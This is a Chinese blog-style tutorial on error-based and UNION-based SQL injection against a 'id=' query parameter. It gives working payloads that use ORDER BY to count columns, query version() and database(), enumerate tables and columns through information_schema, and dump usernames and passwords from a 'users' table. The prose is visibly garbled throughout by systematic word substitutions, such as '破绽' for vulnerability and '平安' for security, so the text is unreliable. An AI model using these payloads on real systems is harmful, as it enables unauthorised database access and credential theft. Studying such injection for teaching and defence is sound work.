本文只提供思路参考学习
注入破绽
注入破绽作为 OWASP Top 10 之一,它是一个非常广泛的破绽,攻击者注入恶意代码后,能引起很重大的结果,而 SQL 注入又是其中的大头,作为初识平安的小白,这是一个很好的学习方向。
SQL 注入
顾名思义 是因为开发人员编写的 SQL 语句不强壮,从而使得你能在 Web 端构建本人的非凡 SQL 语句导致能从前端拜访到后端的数据库,从而取得数据库的一系列信息的攻击行为。
SQL 注入类型
总体分为字符型和数字型
$query="select username,email from member where id=$id"; // 数字型 未在 id 处增加特殊符号
$query="select username,email from member where id='$id'"; // 字符串型,在 id 处加以单引号闭合
SQL 注入总体思路
- 依据网址抓包等确定是否有查问参数
- 找注入点并判断是否能进行注入
- 进行数据爆破
实战复现
1. 进入网址,发现它的 url 是以查问信息结尾的,id 就是查问参数。由此判断能够结构 SQL 语句
2. 查找注入点并判断是否能进行注入
罕用办法先是增加单引号造成 SQL 语句出错
/index1.php?id=1' // 等价于
select username from member where id = '1'' 字符串型(还可能是其余特殊符号)
select username from memeber where id = 1' 数字型
观察报错,应为字符串型 SQL 注入
而后 构建非凡语句 ?id=1'and' 1 '=' 1
(留神标签的闭合) 此处是恒为真的表达式,所以预计页面正确显示。
而后构建非凡语句?id=1'and' 1 '=' 2
此处是恒为假的表达式,预计页面不会正确显示,然而不会报错。
两个恒等式 的差别体现阐明了此处是能够进行 sql 注入的
3. 进行数据爆破
在得悉 SQL 注入破绽存在后,咱们即可进行系列操作。
首先是通过 order by 猜想表中字段数。构建语句
' order by 5--+
// --+ 是正文,能疏忽前面的特殊字符闭合,用二分法猜数字
阐明字段超了,往回猜,先 3 后 4,2 就能确定只有 3 个字段了
接下来就是利用 union
语句来操作了
输出?id=1' and 1 = 2 union select 1,2,3--+
后面编写 and 1 = 2
是因为联结抉择 将后面的语句返回一个 false 就不会在页面显示,所以会显示前面咱们想要找的货色,也能够写成 id = -1' union select 1,2,3--+
阐明 2,3 都能够替换成咱们想要查找的货色
接下来就是一系列的惯例操作了
先查询数据库以及数据库版本
?id=1' and 1 = 2 union select 1,version(),database()--+
在确定版本为 5.5.53 确定有 information_scheme 信息库接下来就用它以及 group_concat 函数进行操作
查问表头
?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
很显著 users 就是一个好货色,咱们获取它的列名
?id=1'and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
最初你就能够获取对应的用户名和明码啦
?id=1'and 1 = 2 union select 1,2,group_concat(id,'%7C',username,'%7C',password) from users--+
从左到右别离别离是 id username password
到此根本想要的信息都拿到啦。
分享到此结束,感激观看!
参考资料
https://blog.csdn.net/qq_4126…
https://segmentfault.com/a/11…
《腾讯 Web 平安课堂》